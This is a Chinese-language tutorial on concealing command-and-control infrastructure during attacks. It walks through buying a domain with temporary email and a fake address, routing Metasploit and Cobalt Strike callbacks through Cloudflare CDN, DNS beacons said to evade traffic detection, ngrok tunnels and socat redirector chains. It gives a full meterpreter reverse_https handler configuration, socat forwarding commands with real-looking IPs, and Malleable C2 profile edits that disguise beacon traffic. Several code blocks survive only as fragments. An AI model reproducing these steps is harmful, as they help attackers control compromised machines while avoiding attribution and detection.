流量隐藏
简介
流量隐藏是实战中最重要的
域名上线隐藏IP
隐藏ip的重要性
在使用MSF或者CS获得目标机Sessions或者Beacon时,如果直接使用自己的VPS作为MSF或CS的服 务器时,容易被溯源到攻击者所在VPS主机IP。
域名上线原理
当我们访问域名时会经过域名解析,域名解析就是将域名转换到IP地址的过程,我们通过域名访问服 务器,实际上是访问的目标服务器IP地址
A记录
将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录
CNAME记录:
如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记 录。这个域名一般是主机服务商提供的一个域名
MX记录:
建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根 据邮箱服务商提供的MX记录填写此记录
NS记录
域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录
TXT记录
可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录
AAAA记录
将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA 记录
CDN简介
CDN 的全称是 Content Delivery Network,即内容分发网络。其目的是通过在现有的Internet中 增加一层新的CACHE(缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访 问网站的先赢速度
使用CDN内容分发网络的多节点分布式技术,通过 “加速、代理、缓存” 隐藏在后面的静态文件或服 务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或 IP!
假设您的业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程,CDN 最后会将流量转发到真实IP上,那 么我们便能通过CDN达到隐藏自身的效果
域名+CDN配置
关于备案
无需备案
注册国外域名,但是暂时不打算启用建站,那么无需备案;
注册国外域名,域名指向到国外网站空间或者是放置在特别行政区,如香港,也无需备案。
需要备案
注册国内域名,要备案后才能使用。
注册国外域名,但是绑定国内的服务器空间,也需要备案才能使用
注册域名
国外域名注册商 NameSilo
注册账号: https://www.namesilo.com/login
建议使用临时邮箱
美国地址生成器: https://www.meiguodizhi.com/
搜索域名
网站首页,输入查询的域名
便宜域名后缀:.info、.top、.xyz、.fun 等等
购买域名
优惠码
管理域名
注册免费CDN服务
- 登录注册账号
配置域名使用CDN添加站点
主页,添加站点,输入前面购买的域名。
- 选择免费计划
完成名称服务器设置
配置域名的 NameServer 域名解析服务
进入我的域名:https://www.namesilo.com/account_domains.php
选择 Change Nameservers:
修改为 Cloudflare 上得到的 nameserver :
返回 Cloudflare 检查名称服务器
大概需要等待 10-20 分钟左右的时间,设置成功后, Cloudflare 会发送邮件。
配置 NameServer 更换解析服务器的原因就是,将 baidus.top 域名的所有解析功能都托管在 Cloudflare,这样 Cloudflare 就可以提供 CDN 的解析功能!
配置CDN域名解析
DNS配置
直接配置使用CDN代理模式进行域名解析提供服务
自动配置全部选择关闭
概述 -> 快速入门指南
配置 SSL/TLS 加密方式
SSL/TLS -> 关闭(不安全)
Cloudflare 的 CDN,http、https代理模式有个特点,如果用其他端口的话,是监听不到的!
Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPS端口是:
443,2053,2083,2087,2096,8443
到此域名+CDN全部搞定!开始测试!
Metasploit
云服务器安装metasploit
1 |
|
HTTP
1 |
|
注意生成的payload 的lhost 必须是域名,不然无法隐藏ip 端口一定要是上面提到的那些端口
MSF开启监听
可以直接使用handler 开启监听
1 |
|
HTTPS
生成HTTPS证书
去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成pem和key。
点击创建,生成源证书和私钥证书:
保存源证书内容为 cloudflare.pem,保存私钥内容为 cloudflare.key,将创建的pem和key文件
上传至云服务器。
创建一个包含源证书内容和私钥内容的统一证书文件;使用 cat 命令:
cat cloudflare.key cloudflare.pem >> /root/cloudflare-key.pem
设置监听器
设置 StagerVerifySSLCert 为 true ,表示启用 SSL 验证,同时设置 EnableStageEncoding 来对第二阶段的有效载荷进行编码(分阶段Payload)。
设置 SSLVersion 为 cloudflare 中指定的最低TLS版本,默认为 TLS1
1
2
3
4
5
6
7
8
9
10use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_https
set LHOST www.mingy.xyz
set LPORT 443
set HandlerSSLCert /root/cloudflare-key.pem # 证书位置
set StagerVerifySSLCert true # 用于小马拉大马的时候使用
set EnableStageEncoding true
set SSLVersion TLS1
run浏览器访问 https://yourdomain ,看到 https 锁和 It works ,表示证书配置成功
生成Payload
注意生成大马会好很多,因为小马网络问题可能连接不上
1 |
|
上线会话
在目标机执行生成的 Payload ,成功收到返回的会话
Cobaltstrike
Beacon HTTP
配置Listener
HTTP Host Header,必须填写你的域名!这是CDN技术的原理要求
这里必须都要配置为 cloudflare 对应的Port
生成Payload
使用上一步配置的监听器,创建windows可执行 Payload,目标主机运行 payload,主机可以成功上线
Beacon DNS
这个方式不会被 流量检测设备识别到
因为都不会拦截DNS 的流量
Cloudflare添加域名
到 https://dash.cloudflare.com/ 注册并登录
添加站点,选择域名添加:xxx.com
添加A记录,设置为VPS的IP地址
这个记得不能设置cdn 代理
1
A ds 123.x.x.x
添加NS记录,设置为A记录对应的域名
1
2NS ns1 ds.xxx.com
NS ns2 ds.xxx.com创建DNS监听器
Name: dns
Payload: Beacon DNS DNS Hosts:
ns1.xxx.com
ns2.xxx.com
DNS Host(Stager): ns1.xxx.com
CS生成Payload
该方式只能生成32位信息,而且回显是非常卡,上线也非常卡
生成Payload执行上线,Beacon上线后没有信息显示,右键进入Beacon通过执行chekin命令让DNS Beacon强制回连Teamserver
1
2Use: mode [dns|dns6|dns-txt]
设置Beacon的数据交换模式,仅对DNS Beacon有用
转发代理
利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实IP
如果是使用vps 那么处理就是转发,并不是内网穿透
这个也是白名单
注册ngrok账号
下载相应版本客户端
运行这两条命令
配置通道
1 |
|
使用cs 创建监听
模拟上线
发现ngrok 有流量经过
转发重定向
使用一个机器作为跳板机或者肉机,然后转发请求
缺点就是需要多台vps
工作原理
受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到C2控制端主机 具体实现:一台VPS作为转发器,一台VPS作为 Teamserver
转发机器:47.104.255.11 Teamserver:124.71.45.28
Socat转发
1 |
|
常用选项
1 |
|
1 |
|
将此机器801端口接受到的流量转发给 124.71.45.28:7788
创建监听器
这个地方使用跳板机的ip地址,和对应的端口
多层转发
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:120.27.61.239:801
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:124.71.45.28:7788
CS流量隐藏
CS配置文件Profile
点击创建,生成源证书和私钥证书:
保存源证书内容为 cloudflare.pem,保存私钥内容为 cloudflare.key
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com-xh5fo22au1gd09dxqc321f/)为申请的域名)
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
将生成的 keystore 文件放在云服务器CS的根目录下。
然后对 4.7 版本 Profile 进行修改。将keystore文件名称和密码填入profile文件中。
需要修改的内容主要有4处:
https-certificate
修改模块中的 keystore 和 password,并去掉 # 注释
set keystore “shop.baidus.top.store” set password “123456”;
http-stager
把 Server 配置如下内容
header “Content-Type” “application/javascript; charset=utf-8”;
修改为
header “Content-Type” “application/; charset=utf-8”;*
修改 Client 配置中的 Host 和 Referer:
client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Accept-Language" "en-US,en;q=0.5"; header "Host" "shop.baidus.top"; header "Referer" "http://shop.baidus.top/"; header "Accept-Encoding" "gzip, deflate"; }
http-get
修改 Client 配置中的 Host 和 Referer:
1 |
|
修改Server
header “Content-Type” “application/javascript; charset=utf-8”;
为
header “Content-Type” “application/*; charset=utf-8”;
- http-post
修改 Client 配置中的 Host 和 Referer:
1 |
|
修改Server
header “Content-Type” “application/javascript; charset=utf-8”;
为
header “Content-Type” “application/*; charset=utf-8”;
修改完成之后使用cs 自带的c2lint 对profile 语法进行检查,没有报错的话就说明配置没有问题
1 |
|
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的 话请求就无法到达我们的CS服务器,自然也就无法上线了。
启用开发模式并清除缓存。
规则,添加页面规则
选取设置:缓存级别,绕过
上线
使用修改好的profile启动CS
1 |
|
对CS的listener进行配置。
生成木马,在PC运行,成功上线